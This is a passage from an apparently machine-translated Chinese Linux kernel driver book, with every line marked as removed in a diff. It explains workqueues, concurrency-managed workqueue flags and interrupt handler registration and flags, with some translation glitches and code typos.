-}; -struct delayed_work { -    struct work_struct work; -    struct timer_list timer; -    /* target workqueue and CPU ->timer uses to queue ->work */ -    struct workqueue_struct *wq; -    int cpu; -}; -``` - -`func`字段属于`work_func_t`类型,它告诉我们有关`work`函数标题的更多信息: - -```sh -typedef void (*work_func_t)(struct work_struct *work); -``` - -`work`是一个输入参数,它对应于与您的工作相关联的工作结构。 如果您提交了延迟的工作,这将对应于`delayed_work.work`字段。 这里,需要使用`to_delayed_work()`函数来获取底层延迟工作结构: - -```sh -struct delayed_work *to_delayed_work(struct work_struct *work) -``` - -工作队列允许您的驱动创建一个内核线程,称为工作线程,以处理延迟的工作。 可以使用以下功能创建新的工作队列: - -```sh -struct workqueue_struct *create_workqueue(const char *name                                           name) -struct workqueue_struct -    *create_singlethread_workqueue(const char *name) -``` - -`create_workqueue()`在系统上为每个 CPU 创建一个专用线程(工作线程),这可能不是一个好主意。 在 8 核系统上,这将导致创建 8 个内核线程来运行已提交到工作队列的工作。 在大多数情况下,单个系统范围内核线程应该足够了。 在本例中,您应该改用`create_singlethread_workqueue()`,顾名思义,它会创建一个单线程工作队列;也就是说,在系统范围内使用一个工作线程。 正常工作或延迟工作都可以在同一队列中排队。 要计划创建的工作队列上的工作,可以使用`queue_work()`或`queue_delayed_work()`,具体取决于工作的性质: - -```sh -bool queue_work(struct workqueue_struct *wq, -                struct work_struct *work) -bool queue_delayed_work(struct workqueue_struct *wq, -                        struct delayed_work *dwork, -                        unsigned long delay) -``` - -如果工作已在队列中,则这些函数返回 False,否则返回 True。 `queue_dalayed_work()`可用于计划(延迟)在给定延迟内执行的工作。 延迟的时间单位是 Jiffies。 如果您不想费心进行秒到 jiffies 的转换,可以使用`msecs_to_jiffies()`和`usecs_to_jiffies()`辅助函数,它们分别将毫秒或微秒转换为 jiffies: - -```sh -unsigned long msecs_to_jiffies(const unsigned int m) -unsigned long usecs_to_jiffies(const unsigned int u) -``` - -以下示例使用 200 毫秒作为延迟: - -```sh -schedule_delayed_work(&drvdata->tx_work, usecs_to_                      jiffies(200)); -``` - -可以通过调用`cancel_delayed_work()`、`cancel_delayed_work_sync()`或`cancel_work_sync()`取消提交的工作项: - -```sh -bool cancel_work_sync(struct work_struct *work) -bool cancel_delayed_work(struct delayed_work *dwork) -bool cancel_delayed_work_sync(struct delayed_work *dwork) -``` - -下面介绍这些函数的功能: - -* `cancel_work_sync()`同步取消给定的工作队列条目。 换句话说,它取消`work`并等待其执行完成。 内核保证工作从该函数返回时不会在任何 CPU 上挂起或执行,即使工作迁移到另一个工作队列或重新排队本身也是如此。 如果`work`处于挂起状态,则返回`true`,否则返回`false`。 -* `cancel_delayed_work()`异步取消挂起的工作队列条目(延迟的工作队列条目)。 如果`dwork`处于挂起和取消状态,则返回`true`(一个非零值);如果未挂起,则返回`false`(可能是因为它实际上正在运行,因此可能在`cancel_delayed_work()`之后仍在运行)。 为了确保工作真正完成,您可能希望使用`flush_workqueue()`,它刷新给定队列中的每个工作项,或者使用`cancel_delayed_work_sync()`,它是`cancel_delayed_work()`的同步版本。 - -要等待所有工作项完成,可以调用`flush_workqueue()`。 使用完工作队列后,应使用`destroy_workqueue()`将其销毁。 这两个选项都可以在以下代码中看到: - -```sh -void flush_workqueue(struct worksqueue_struct * queue); -void destroy_workqueue(structure workqueque_struct *queue); -``` - -当您等待任何待定工作执行时,`_sync`变量函数休眠,这意味着它们只能从进程上下文中调用。 - -### 内核共享队列 - -在大多数情况下,您的代码不一定要有其自己的专用线程集的性能,而且因为`create_workqueue()`为每个 CPU 创建一个工作线程,所以在非常大的多 CPU 系统上使用它可能不是一个好主意。 在这种情况下,您可能希望使用内核共享队列,它有自己的一组预先分配(在引导早期,通过`workqueue_init_early()`函数)用于运行 Works 的内核线程。 - -这个全局内核工作队列就是所谓的`system_wq`,并在`kernel/workqueue.c`中定义。 每个 CPU 有一个实例,每个实例由名为`events/n`的专用线程支持,其中`n`是线程绑定到的处理器编号。 您可以使用以下函数之一将工作排队到系统的默认工作队列: - -```sh -int schedule_work(struct work_struct *work); -int schedule_delayed_work(struct delayed_work *dwork, -                            unsigned long delay); -int schedule_work_on(int cpu, struct work_struct *work); -int schedule_delayed_work_on(int cpu, -                             struct delayed_work *dwork, -                             unsigned long delay); -``` - -`schedule_work()`立即调度将在当前处理器上的工作线程唤醒后尽快执行的工作。 使用`schedule_delayed_work()`,在延迟计时器滴答作响之后,工作将在将来被放入队列中。 `_on`变体用于在特定 CPU 上调度工作(这不需要是当前 CPU)。 这些函数队列中的每一个都在系统的共享工作队列`system_wq`上工作,它在`kernel/workqueue.c`中定义: - -```sh -struct workqueue_struct *system_wq __read_mostly; -EXPORT_SYMBOL(system_wq); -``` - -要刷新内核全局工作队列(即确保完成给定批次的工作),可以使用`flush_scheduled_work()`: - -```sh -void flush_scheduled_work(void); -``` - -`flush_scheduled_work()`是在`system_wq`上调用`flush_workqueue()`的包装器。 请注意,在`system_wq`中可能有您尚未提交且无法控制的工作。 因此,完全刷新此工作队列是矫枉过正的做法。 建议改用`cancel_delayed_work_sync()`或`cancel_work_sync()`。 - -给小费 / 翻倒 / 倾覆 - -除非您有充分的理由创建专用线程,否则最好使用默认(内核全局)线程。 - -## 工作队列-新一代 - -最初的(现在是遗留的)工作队列实现使用了两种工作队列:一种是在系统范围内使用**单线程**的工作队列,另一种是在每个 CPU 上使用**线程的工作队列。 但是,由于 CPU 数量的不断增加,这导致了一些限制:** - -* 在非常大的系统上,内核可能在启动 init 之前的引导时耗尽进程 ID(缺省为 32k)。 -* 多线程工作队列提供了糟糕的并发管理,因为它们的线程与系统上的其他线程竞争 CPU。 因为有更多的 CPU 竞争者,这就带来了一些开销;也就是说,超过必要的上下文切换。 -* 消耗的资源比实际需要的要多得多。 - -此外,需要动态或细粒度并发级别的子系统必须实现自己的线程池。 因此,我们设计了一个新的工作队列 API,并计划删除旧的工作队列 API(`create_workqueue()`、`create_singlethread_workqueue()`和`create_freezable_workqueue()`)。 但是,这些实际上是对新队列(即所谓的并发管理工作队列)的包装。 这是使用由所有工作队列共享的每 CPU 工作池来实现的,以便自动提供动态且灵活的并发级别,从而为 API 用户抽象此类细节。 - -### 并发管理的工作队列 - -并发管理的工作队列是工作队列 API 的升级。 使用这个新 API 意味着您必须在两个宏之间进行选择才能创建工作队列:`alloc_workqueue()`和`alloc_ordered_workqueue()`。 这两个宏都分配一个工作队列并在成功时返回指向它的指针,在失败时返回 NULL。 可以使用`destroy_workqueue()`函数释放返回的工作队列: - -```sh -#define alloc_workqueue(fmt, flags, max_active, args...) -#define alloc_ordered_workqueue(fmt, flags, args...) -void destroy_workqueue(struct workqueue_struct *wq) -``` - -`fmt`是工作队列名称的`printf`格式,而`args...`是`fmt`的参数。 `destroy_workqueue()`将在使用完后在工作队列上调用。 在内核销毁工作队列之前,将首先完成所有当前挂起的工作。 `alloc_workqueue()`基于`max_active`创建工作队列,该工作队列通过限制可在任何给定 CPU 上从该工作队列同时执行的工作(任务)数(处于可运行状态的工作)来定义并发级别。 例如,`max_active`为 5 意味着每个 CPU 最多只能同时执行此工作队列上的五个工作项目。 另一方面,`alloc_ordered_workqueue()`创建以排队顺序(即,FIFO 顺序)逐个处理每个工作项的工作队列。 - -`flags`控制工作项排队、分配执行资源、计划和执行的方式和时间。 在这个新的 API 中使用了各种标志。 让我们来看看其中的一些: - -* `WQ_UNBOUND`:传统工作队列的每个 CPU 都有一个工作线程,设计用于在提交任务的 CPU 上运行个任务。 内核调度器别无选择,只能总是在定义它的 CPU 上调度一个工作器。 使用这种方法,即使是单个工作队列也可以防止 CPU 空闲和关闭,从而导致功耗增加或调度策略不佳。 `WQ_UNBOUND`关闭此行为。 工作不再绑定到 CPU,因此称为未绑定工作队列。 没有更多的局部性,调度程序可以在它认为合适的任何 CPU 上重新调度 Worker。 调度器现在拥有最终决定权,可以平衡 CPU 负载,特别是对于长时间的、有时是 CPU 密集型的工作。 -* `WQ_MEM_RECLAIM`:此标志用于需要在内存回收路径期间保证前进进度的工作队列(当空闲内存运行到危险的程度时;在此,系统处于内存压力之下)。 在这种情况下,`GFP_KERNEL`分配可能会阻塞和死锁整个工作队列)。 然后,无论内存压力如何,工作队列都保证有一个随时可用的工作线程,即所谓的救援者线程,以便它可以继续进行。 为每个设置了此标志的工作队列分配一个救援器线程。 - -让我们考虑这样一种情况:我们的工作队列*W*中有三个工作项(*w1*、*w2*和*w3*)。 *w1*做一些工作,然后等待*w3*完成(假设这取决于*w3*的计算结果)。 然后,*w2*(独立于其他变量)进行一些`kmalloc()`分配(`GFP_KERNEL`)。 现在,似乎没有足够的内存。 当*w2*被阻塞时,它仍然占据*W*的工作队列。 这导致*w3*不能运行,尽管在*w2*和*w3*之间没有依赖关系。 由于没有足够的内存可用,因此无法分配新线程来运行*w3*。 预先分配的线程肯定可以解决这个问题,不是通过为*w2*神奇地分配内存,而是通过运行*w3*以便*w1*可以继续其工作,依此类推。 *当有足够的可用内存可供分配时,w2*将尽快继续其进程。 这个预先分配的线程是所谓的救援器线程。 如果您认为工作队列可能在内存回收路径中使用,则必须设置此`WQ_MEM_RECLAIM`标志。 从以下提交开始,该标志将取代旧的`WQ_RESCUER`标志:[https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=493008a8e475771a2126e0ce95a73e35b371d277](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=493008a8e475771a2126e0ce95a73e35b371d277)。 - -* `WQ_FREEZABLE`:此标志用于电源管理目的。 当系统挂起或休眠时,设置了此标志的工作队列将被冻结。 在冻结路径上,将处理工人的所有当前工作。 冻结完成后,在系统解冻之前不会执行任何新的工作项。 与文件系统相关的工作队列可以使用该标志来确保将对文件所做的修改推送到磁盘或在冻结路径上创建休眠映像,并且在创建休眠映像之后不在磁盘上进行任何修改。 在这种情况下,不可冻结的项目可能会执行不同的操作,从而可能导致文件系统损坏。 例如,所有 XFS 内部工作队列都设置了此标志(请参见`fs/xfs/xfs_super.c`),以确保一旦冰柜基础设施冻结内核线程并创建休眠映像,就不会在磁盘上进行进一步更改。 如果工作队列可以将任务作为系统休眠/挂起/恢复进程的一部分运行,则不应设置此标志。 关于这个主题的更多信息可以在`Documentation/power/freezing-of-tasks.txt`中找到,也可以通过查看内核的内部`freeze_workqueues_begin()`和`thaw_workqueues()`函数来找到。 -* `WQ_HIGHPRI`: Tasks that have this flag set run immediately and do not wait for the CPU to become available. This flag is used for workqueues that queue work items that require high priority for execution. Such workqueues have worker threads with a high priority level (a lower `nice` value). - - 在 CMWQ 的早期,高优先级工作项只是排在全局普通优先级工作列表的前面,以便它们可以立即运行。 现在,普通优先级工作队列和高优先级工作队列之间没有交互,因为每个工作队列都有自己的工作列表和自己的工作池。 高优先级工作队列的工作项目排队到目标 CPU 的高优先级工作池中。 此工作队列中的任务不应阻塞太多。 如果不希望工作项与普通任务或优先级较低的任务竞争 CPU,请使用此标志。 例如,Crypto 和 Block 子系统使用此功能。 - -* `WQ_CPU_INTENSIVE`:属于 CPU 密集型工作队列一部分的工作项目可能会消耗大量 CPU 周期,并且不会参与工作队列的并发管理。 相反,它们的执行由系统调度程序管理,就像任何其他任务一样。 这使得该标志对于可能占用 CPU 周期的绑定工作项非常有用。 虽然它们的执行是由系统调度程序控制的,但是它们的执行开始仍然是由并发管理控制的,并且可运行的非 CPU 密集型工作项可能会延迟 CPU 密集型工作项的执行。 实际上,加密和 dm-crypt 子系统使用这样的工作队列。 为了防止此类任务延迟其他非 CPU 密集型工作项目的执行,当工作队列代码确定 CPU 是否可用时,不会考虑这些任务。 - -为了与旧的工作队列 API 兼容,我们进行了以下映射,以保持此接口与原接口的兼容性: - -* `create_workqueue(name)`映射到`alloc_workqueue(name,WQ_MEM_RECLAIM, 1)`。 -* `create_singlethread_workqueue(name)`映射到`alloc_ordered_workqueue(name, WQ_MEM_RECLAIM)`。 -* `create_freezable_workqueue(name)`映射到`alloc_workqueue(name,WQ_FREEZABLE | WQ_UNBOUND|WQ_MEM_RECLAIM, 1)`。 - -总而言之,`alloc_ordered_workqueue()`实际上替换了`create_freezable_workqueue()`和`create_singlethread_workqueue()`(根据下面的提交:[https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=81dcaf6516d8](https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=81dcaf6516d8))。 使用`alloc_ordered_workqueue()`分配的工作队列未绑定,并将`max_active`设置为`1`。 - -对于工作队列中的计划项目,已使用`queue_work_on()`排队到特定 CPU 的工作项目将在该 CPU 上执行。 已通过`queue_work()`排队的工作项将首选排队的 CPU,尽管不能保证此局部性。 - -重要注 - -请注意,`schedule_work()`是在系统工作队列(`system_wq`)上调用`queue_work()`的包装器,而`schedule_work_on()`是围绕`queue_work_on()`的包装器。 另外,请记住`system_wq = alloc_workqueue(“events”, 0, 0);`。 看看内核源代码中`kernel/workqueue.c`中的`workqueue_init_early()`函数,看看其他系统范围的工作队列是如何创建的。 - -内存回收是内存分配路径上的一种 Linux 内核机制。 这包括在将内存的当前内容抛到其他地方后分配内存。 - -至此,我们已经看完了工作队列,特别是并发管理的工作队列。 接下来,我们将介绍 Linux 内核中断管理,这是以前的大多数机制都会用到的地方。 - -# Linux 内核中断管理 - -除了服务进程和用户请求之外,Linux 内核的另一项工作是管理硬件和与硬件对话。 这要么是从 CPU 到设备,要么是从设备到 CPU。 这是通过中断的方式实现的。 中断是由外部硬件设备发送给处理器的信号,要求立即注意。 在 CPU 看到中断之前,中断控制器应该启用此中断,中断控制器本身是一个设备,其主要任务是将中断路由到 CPU。 - -中断可能有五种状态: - -* **活动**:已由**处理元件**(**PE**)确认并且正在处理的中断。 在被处理时,同一中断的另一个断言不会作为中断呈现给处理元件,直到初始中断不再有效。 -* **挂起(断言)**:在硬件中被识别为断言的或由软件生成的中断,正在等待目标 PE 处理。 对于大多数硬件设备来说,在其“中断挂起”位被清除之前不生成其他中断是一种常见的行为。 禁用的中断不能挂起,因为它从未被断言,并且被中断控制器立即丢弃。 -* **活动和挂起**:一个中断,它在一次中断断言中处于活动状态,在后续断言中处于挂起状态。 -* **Inactive**:非活动或挂起的中断。 停用可清除中断的活动状态,从而允许在中断处于挂起状态时再次执行该中断。 -* **Disabled/Deactivated**: This is unknown to the CPU and not even seen by the interrupt controller. This will never be asserted. Disabled interrupts are lost. - - 重要音符 - - 有些中断控制器禁用中断意味着屏蔽该中断,反之亦然。 在本书的其余部分,我们将考虑将禁用等同于屏蔽,尽管这并不总是正确的。 - -在重置时,处理器会禁用所有中断,直到初始化代码再次启用它们(在我们的例子中,这是 Linux 内核的工作)。 通过设置/清除处理器状态/控制寄存器中的位来启用/禁用中断。 在中断断言(中断发生)时,处理器将检查中断是否被屏蔽,如果中断被屏蔽,处理器将不执行任何操作。 一旦取消屏蔽,处理器将挑选一个挂起的中断(如果有的话)(顺序并不重要,因为它会对每个挂起的中断执行此操作,直到它们都得到服务为止),并将执行与此中断关联的名为**中断服务例程**(**ISR**)的特殊功能。 此 ISR 必须由代码(即我们的设备驱动,它依赖于`kernel irq`核心代码)在称为向量表的特殊位置注册。 就在处理器开始执行此 ISR 之前,它执行一些上下文保存(包括中断的未屏蔽状态),然后屏蔽本地 CPU 上的中断(中断可以断言,一旦解除屏蔽就会得到服务)。 一旦 ISR 开始运行,我们就可以说中断正在得到服务。 - -以下是 ARM Linux 上完整的 IRQ 处理流程。 当中断发生且中断在 PSR 中启用时,会发生这种情况: - -1. ARM 内核将禁用本地 CPU 上发生的进一步中断。 -2. 然后,ARM 内核将把**当前程序状态寄存器**(**CPSR**)放入**保存的程序状态寄存器**(**SPSR**),把当前的**程序计数器**(**PC**)放入**链接寄存器**(**LR**),然后切换到 IRQ 模式。 -3. Finally, the ARM processor will refer to the vector table and jumps to the exception handler. In our case, it jumps to the exception handler of IRQ, which in the Linux kernel corresponds to the `vector_stub` macro defined in `arch/arm/kernel/entry-armv.S`. - - 这三个步骤由 ARM 处理器本身完成。 现在,内核开始行动了: - -4. `vector_stub`宏会检查我们在这里使用的处理器模式-内核模式或用户模式-并相应地确定要调用的宏;`__irq_user`或`__irq_svc`。 -5. `__irq_svc()`将在内核堆栈上保存寄存器(从`r0`到`r12`),然后调用`irq_handler()`宏,如果定义了`CONFIG_MULTI_IRQ_HANDLER`,则调用`handle_arch_irq()`(出现在`arch/arm/include/asm/entry-macro-multi.S`中),否则调用`arch_irq_handler_default()`,其中`handle_arch_irq`是指向在`arch/arm/kernel/setup.c`中设置的函数的全局指针(从`setup_arch()`函数中)。 -6. 现在,我们需要识别硬件 IRQ 号,这就是`asm_do_IRQ()`所做的。 然后,它在硬件 IRQ 上调用`handle_IRQ()`,该硬件-IRQ 又调用`__handle_domain_irq()`,后者将硬件-IRQ 转换为其相应 Linux IRQ 号(`irq = irq_find_mapping(domain, hwirq)`),并在解码的 Linux IRQ 上调用`generic_handle_irq()`(`generic_handle_irq(irq)`)。 -7. `generic_handle_irq()`将查找对应于已解码的 Linux IRQ(`struct irq_desc *desc = irq_to_desc(irq)`)的 IRQ 描述符结构(Linux 的中断视图),并对该描述符调用`generic_handle_irq_desc()`,这将导致`desc->handle_irq(desc)`。 `desc->handle_irq`对应于在该 IRQ 映射期间使用`irq_set_chip_and_handler()`设置的高级 IRQ 处理程序。 -8. `desc->handle_irq()`可能导致调用`handle_level_irq()`、`handle_simple_irq()`、`handle_edge_irq()`等。 -9. 高级 IRQ 处理程序调用我们的 ISR。 -10. Once the ISR has been completed, `irq_svc` will return and restore the processor state by restoring registers (r0-r12), the PC, and the CSPR. - - 重要音符 - - 返回到*步骤 1*,在中断期间,ARM 内核在本地 CPU 上禁用进一步的 IRQ。 值得一提的是,在早期的 Linux 内核时代,有两类中断处理程序:一类是禁用中断(即设置了旧的`IRQF_DISABLED`标志)的中断处理程序;另一类是启用中断的中断处理程序:然后它们是可中断的。 前者称为**快速处理程序**,而后者称为**慢速处理程序**。 对于后者,中断实际上是由内核在调用处理程序之前重新启用的。由于中断上下文与进程堆栈相比堆栈大小非常小,因此如果我们处于中断上下文中(运行给定的 IRQ 处理程序),而其他中断持续发生,甚至是正在服务的中断,那么我们可能会遇到堆栈溢出是没有意义的。 [https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=e58aa3d2d0cc](https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=e58aa3d2d0cc)的 COMMIT 证实了这一点,它不赞成在启用 IRQ 的情况下运行中断处理程序。 从该补丁程序开始,IRQ 在执行 IRQ 处理程序期间保持禁用状态(在本地 CPU 上 ARM 内核禁用 IRQ 后保持不变)。 此外,从 LinuxV4.1 开始,在[Linux](https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=d8bf368d0631)提交时已经完全删除了上述标志。[https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=d8bf368d0631](https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=d8bf368d0631) - -## 设计中断处理程序 - -现在我们已经熟悉了下半部分和延迟机制的概念,现在是实现中断处理程序的时候了。 在本节中,我们将处理一些细节。 如今,中断处理程序在禁用中断的情况下运行(在本地 CPU 上)这一事实意味着,我们需要尊重 ISR 设计中的某些约束: - -* **执行时间:**由于 IRQ 处理程序在本地 CPU 上禁用中断的情况下运行,因此代码必须尽可能短、尽可能小,并且足够快,以确保在中快速重新启用以前禁用的 CPU 本地中断,以便不会错过其他 IRQ。 耗时的 IRQ 处理程序可能会极大地改变系统的实时属性并使其变慢。 -* **执行上下文**:因为中断处理程序是在原子上下文中执行的,所以休眠(或任何其他可能休眠的机制,如互斥锁、将数据从内核复制到用户空间或从内核复制到用户空间,等等)都是被禁止的。 需要或涉及休眠的代码的任何部分都必须推迟到另一个更安全的上下文(即进程上下文)中。 - -需要为 IRQ 处理程序提供两个参数:要为其安装处理程序的中断行,以及外围设备的唯一设备标识符(主要用作上下文数据结构;即,指向相关硬件设备的每个设备或专用结构的指针): - -```sh -typedef irqreturn_t (*irq_handler_t)(int, void *); -``` - -想要启用给定中断并为其注册 ISR 的设备驱动应调用在``中声明的`request_irq()`。 这必须包含在驱动代码中: - -```sh -int request_irq(unsigned int irq, -               irq_handler_t handler, -               unsigned long flags, -               const char *name, -               void *dev) -``` - -虽然前面提到的 API 要求调用者在不再需要 IRQ 时(即在驱动分离时)释放 IRQ,但是您可以使用设备托管变体`devm_request_irq()`,它包含允许它自动释放 IRQ 行的内部逻辑。 它有以下原型: - -```sh -int devm_request_irq(struct device *dev, unsigned int irq, -                     irq_handler_t handler,                      unsigned long flags, -                     const char *name, void *dev) -``` - -除了额外的`dev`参数(它是需要中断的设备)外,`devm_request_irq()`和`request_irq()`都需要以下参数: - -* `irq`,它是中断线(即发布设备的中断号)。 在验证请求之前,内核将确保请求的中断有效,并且它还没有分配给另一个设备,除非两个设备都请求(在标志的帮助下)共享这条 IRQ 线路。 -* `handler`,它是指向中断处理程序的函数指针。 -* `flags`,表示中断标志。 -* `name`,表示生成或声明此中断的设备名称的 ASCII 字符串。 -* `dev`对于每个注册的处理程序都应该是唯一的。 对于共享 IRQ,它不能是`NULL`,因为它用于通过内核 IRQ 内核标识设备。 使用它的最常见方式是提供指向设备结构的指针或指向每个设备的任何数据结构(这对处理程序可能有用)的指针。 这是因为当中断发生时,中断行(`irq`)和该参数都将被传递给注册的处理程序,该处理程序可以使用该数据作为上下文数据进行进一步处理。 - -`flags`通过以下掩码来破坏 IRQ 线路或其处理程序的状态或行为,这些掩码可以根据您的需要进行或运算,以形成最终所需的位掩码: - -```sh -#define IRQF_TRIGGER_RISING    0x00000001 -#define IRQF_TRIGGER_FALLING   0x00000002 -#define IRQF_TRIGGER_HIGH      0x00000004 -#define IRQF_TRIGGER_LOW       0x00000008 -#define IRQF_SHARED            0x00000080 -#define IRQF_PROBE_SHARED      0x00000100 -#define IRQF_NOBALANCING       0x00000800 -#define IRQF_IRQPOLL           0x00001000 -#define IRQF_ONESHOT           0x00002000 -#define IRQF_NO_SUSPEND        0x00004000 -#define IRQF_FORCE_RESUME      0x00008000 -#define IRQF_NO_THREAD         0x00010000 -#define IRQF_EARLY_RESUME      0x00020000 -#define IRQF_COND_SUSPEND      0x00040000 -``` - -请注意,标志也可以为零。 让我们来看看一些重要的旗帜。 我将把剩下的留给您在`include/linux/interrupt.h`中探索: - -* `IRQF_TRIGGER_HIGH` and `IRQF_TRIGGER_LOW` flags are to be used for level-sensitive interrupts. The former is for interrupts triggered at high level and the latter is for the low-level triggered interrupts. Level-sensitive interrupts are triggered as long as the physical interrupt signal is high. If the interrupt source is not cleared by the end of its interrupt handler in the kernel, the operating system will repeatedly call that kernel interrupt handler, which may lead platform to hang. In other words, when the handler services the interrupt and returns, if the IRQ line is still asserted, the CPU will signal the interrupt again immediately. To prevent such a situation, the interrupt must be acknowledged (that is, cleared or de-asserted) by the kernel interrupt handler immediately when it is received. - - 但是,这些标志在中断共享方面是安全的,因为如果多个设备将线路拉入活动状态,则会发出中断信号(假设 IRQ 已启用或一旦启用),直到所有驱动都已为其设备提供服务。 唯一的缺点是,如果驱动未能清除其中断源,可能会导致锁定。 - -* `IRQF_TRIGGER_RISING` and `IRQF_TRIGGER_FALLING` concern edge-triggered interrupts, rising and falling edges respectively. Such interrupts are signaled when the line changes from inactive to active state, but only once. To get a new request the line must go back to inactive and then to active again. Most of the time, no special action is required in software in order to acknowledge this type of interrupt. - - 然而,当使用边沿触发中断时,中断可能会丢失,特别是在共享中断线路的上下文中:如果一个设备将线路拉入活动状态的时间过长,当另一个设备将线路拉入活动状态时,将不会生成边沿,处理器将看不到第二个请求,然后将忽略该请求。 使用共享边沿触发的中断时,如果硬件不解除 IRQ 线路的断言,则不会通知任何共享设备的其他中断。 - - 重要音符 - - 作为快速提醒,您可以记住,电平触发的中断表示状态,边沿触发的中断表示事件。此外,当请求中断而不指定`IRQF_TRIGGER`标志时,应假定设置为已配置的*,这可能取决于机器或固件初始化。 在这种情况下,您可以参考设备树(如果在其中指定),例如查看此*假设的配置*是什么。* - -** `IRQF_SHARED`:这允许在多个设备之间共享中断线路。 但是,需要共享给定中断行的每个设备驱动都必须设置此标志;否则,注册将失败。* `IRQF_NOBALANCING`:这将中断排除在*IRQ 平衡*之外,是一种以提高性能为目标的跨 CPU 分配/重新定位中断的机制。 这可防止更改此 IRQ 的 CPU 亲和性。 该标志可用于为*时钟源*提供灵活的设置,以防止事件被错误地归因于错误的内核。 这种错误的属性可能会导致 IRQ 被禁用,因为如果处理中断的 CPU 不是触发中断的 CPU,处理程序将返回`IRQ_NONE`。 此标志仅在多核系统上有意义。* `IRQF_IRQPOLL`:此标志允许使用*irqpol*机制,该机制可以修复中断问题。 这意味着应该将此处理程序添加到已知中断处理程序列表中,在未处理给定中断时可以查找这些中断处理程序。* `IRQF_ONESHOT`:正常情况下,被服务的实际中断行在其硬 IRQ 处理程序完成后启用,无论它是否唤醒线程处理程序。 此标志在硬 IRQ 处理程序完成后保持中断线路禁用。 必须在线程中断上设置此标志(我们稍后将对此进行讨论),在线程处理程序完成之前,中断行必须保持禁用状态。 在此之后,它将被启用。* `IRQF_NO_SUSPEND`:这不会在系统休眠/挂起期间禁用 IRQ。 这意味着中断能够将系统从挂起状态中拯救出来。 这样的 IRQ 可以是定时器中断,它可以在系统挂起时触发并需要处理。 整个 IRQ 行都受此标志的影响,因为如果 IRQ 是共享的,则将执行此共享行的所有注册处理程序,而不仅仅是安装此标志的处理程序。 您应该尽量避免同时使用`IRQF_NO_SUSPEND`和`IRQF_SHARED`。* `IRQF_FORCE_RESUME`:即使设置了`IRQF_NO_SUSPEND`,也会启用系统恢复路径中的 IRQ。* `IRQF_NO_THREAD`:这可防止中断处理程序被线程化。 此标志覆盖`threadirqs`内核(在 RT 内核上使用,例如在应用`PREEMPT_RT`补丁时)命令行选项,该选项强制每个中断线程化。 引入此标志是为了解决某些中断的不可线程性(例如,计时器,即使强制所有中断处理程序都被线程化,定时器也不能线程化)。* `IRQF_TIMER`:这将该处理程序标记为特定于系统计时器中断。 它有助于在系统挂起期间不禁用定时器 IRQ,以确保其正常恢复,并且在启用完全抢占(见`PREEMPT_RT`)时不会线程它们。 它只是`IRQF_NO_SUSPEND | IRQF_NO_THREAD`的别名。* `IRQF_EARLY_RESUME`:这会在系统核心(Sycore)操作恢复时提前恢复 IRQ,而不是在设备恢复时。 转到[https://lkml.org/lkml/2013/11/20/89](https://lkml.org/lkml/2013/11/20/89)查看提交介绍其支持。* - - *我们还必须考虑中断处理程序的返回类型`irqreturn_t`,因为一旦处理程序返回,它们可能涉及进一步的操作: - -* `IRQ_NONE`:在共享中断行上,一旦中断发生,内核 irqcore 就会连续遍历为该行注册的处理程序,并按照它们注册的顺序执行它们。 然后,驱动负责检查发出中断的是否是他们的设备。 如果中断不是来自其设备,则它必须返回`IRQ_NONE`,以便指示内核调用下一个注册的中断处理程序。 该返回值主要用于共享中断行,因为它通知内核中断不是来自我们的设备。 但是,如果给定 IRQ 线路之前的**100,000**个中断中的**99,900**没有得到处理,内核就会假设此 IRQ 以某种方式被卡住,丢弃诊断,并尝试关闭 IRQ。 有关这方面的更多信息,请查看内核源代码树中的`__report_bad_irq()`函数。 -* `IRQ_HANDLED`:如果中断处理成功,则应返回此值。 在线程化 IRQ 上,此值确认中断,而不唤醒线程处理程序。 -* `IRQ_WAKE_THREAD`: On a thread IRQ handler, this value must be returned the by hard-IRQ handler in order to wake the handler thread. In this case, `IRQ_HANDLED` must only be returned by the threaded handler that was previously registered with `request_threaded_irq()`. We will discuss this later in the *Threaded IRQ handlers* section of this chapter. - - 重要音符 - - 在处理程序中重新启用中断时必须非常小心。 实际上,您永远不能从 IRQ 处理程序中重新启用 IRQ,因为这将涉及到允许“中断重入”。 在这种情况下,您有责任解决这个问题。 - -在驱动的卸载路径中(或者一旦您认为在驱动运行时生命周期中不再需要 IRQ 行,这是相当罕见的),您必须通过取消注册中断处理程序并潜在地禁用中断行来释放 IRQ 资源。 `free_irq()`接口为您完成此操作: - -```sh -void free_irq(unsigned int irq, void *dev_id) -``` - -也就是说,如果需要单独释放分配有`devm_request_irq()`的 IRQ,则必须使用`devm_free_irq()`。 它有以下原型: - -```sh -void devm_free_irq(struct device *dev,                    unsigned int irq,                    void *dev_id) -``` - -此函数有一个额外的`dev`参数,它是要释放 IRQ 的设备。 这通常与 IRQ 已注册的 IRQ 相同。 除`dev`外,此函数采用与`free_irq()`相同的参数和执行相同的函数。 但是,它应该用来手动释放已使用`devm_request_irq()`分配的 IRQ,而不是`free_irq()`。 - -`devm_request_irq()`和`free_irq()`都删除处理程序(当涉及到共享中断时由`dev_id`标识),并禁用该行。 如果中断行是共享的,则只需将处理程序从此 IRQ 的处理程序列表中删除,并在将来删除最后一个处理程序时禁用中断行。 此外,如果可能,在调用此函数之前,您的代码必须确保它所驱动的卡上的中断被真正禁用,因为省略这可能会导致错误的 IRQ。 - -这里有几件关于中断的事情值得一提,你永远不应该忘记: - -* 由于 Linux 中的中断处理程序在本地 CPU 上禁用 IRQ 的情况下运行,并且当前行在所有其他内核中都被屏蔽,因此它们不需要是可重入的,因为在当前处理程序完成之前永远不会收到相同的中断。 但是,所有其他中断(在其他内核上)仍处于启用状态(或者应该说保持不变),因此,即使当前线路始终处于禁用状态,其他中断以及本地 CPU 上的进一步中断也会继续得到服务。 因此,永远不会同时调用相同的中断处理程序来服务嵌套中断。 这极大地简化了中断处理程序的编写。 -* 应尽可能限制需要在禁用中断的情况下运行的临界区。 要记住这一点,请告诉自己,您的中断处理程序中断了其他代码,需要归还 CPU。 -* 中断处理程序不能阻止,因为它们不在进程上下文中运行。 -* 